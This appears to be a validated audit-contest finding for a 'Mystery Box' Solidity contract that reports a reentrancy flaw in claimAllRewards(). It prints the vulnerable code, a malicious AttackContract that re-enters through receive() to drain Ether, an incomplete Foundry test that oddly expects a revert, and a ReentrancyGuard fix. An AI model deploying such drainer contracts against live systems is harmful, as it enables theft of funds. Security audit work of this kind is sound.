Mystery Box
First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy Attack in claimAllRewards() and claimSingleReward()

devvmichael

Summary

The claimAllRewards() and claimSingleReward() functions are vulnerable to reentrancy attacks due to improper ordering of state changes and external calls.

Vulnerability Details (POC)

Affected Code in claimAllRewards():

function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
​
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
​
delete rewardsOwned[msg.sender];
}
​

  • Issue: The external call to transfer Ether occurs before updating the user's rewards.

  • Consequence: An attacker can re-enter the function via a fallback function before their rewards are cleared.

A Scenario

An attacker deploys a malicious contract (AttackContract) with a fallback function that calls claimAllRewards() recursively:

  1. Attacker's Setup:

    • Accumulates rewards in mysteryBox.

    • Deploys AttackContract and sets msg.sender to AttackContract.

  2. Attack Execution:

    • Calls mysteryBox.claimAllRewards() from AttackContract.

  3. Reentrancy:

    • During the Ether transfer, AttackContract's receive() function is triggered.

    • receive() calls mysteryBox.claimAllRewards() again before rewardsOwned[msg.sender] is cleared.

  4. Result:

    • The attacker withdraws funds multiple times.

    • Drains the contract's balance.

Malicious Contract Example:

contract AttackContract {
MysteryBox public mysteryBox;
​
constructor(MysteryBox _mysteryBox) {
mysteryBox = _mysteryBox;
}
​
receive() external payable {
if (address(mysteryBox).balance >= 1 ether) {
mysteryBox.claimAllRewards();
}
}
​
function attack() public {
mysteryBox.claimAllRewards();
}
}
​

Reference to Test Code

We can write a test to simulate the reentrancy attack:

contract ReentrancyTest is Test {
MysteryBox public mysteryBox;
AttackContract public attackContract;
address public owner;
​
function setUp() public {
owner = makeAddr("owner");
vm.prank(owner);
mysteryBox = new MysteryBox();
​
attackContract = new AttackContract(mysteryBox);
}
​
function testReentrancyAttack() public {
// Set up rewards for the attack contract
// ...
​
// Attempt the attack
vm.expectRevert();
attackContract.attack();
}
}
​

Impact

  • Financial Loss: The attacker can drain all Ether from the contract.

  • Contract Disruption: Other users cannot claim rewards due to depleted funds.

  • Reputation Damage: Loss of trust in the contract's security.

Tools Used

  • Manual Code Review: Identified improper ordering in the function.

  • Testing Framework (Foundry): Simulated the attack with a malicious contract.

Recommendations

Implement the Checks-Effects-Interactions pattern and use OpenZeppelin's ReentrancyGuard:

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
​
contract MysteryBox is ReentrancyGuard {
// ...
​
function claimAllRewards() public nonReentrant {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
​
delete rewardsOwned[msg.sender]; // Effects before interaction
​
(bool success,) = payable(msg.sender).call{value: totalValue}(""); // Interaction
require(success, "Transfer failed");
}
}
​
Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimAllRewards` reentrancy

`claimSingleReward` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!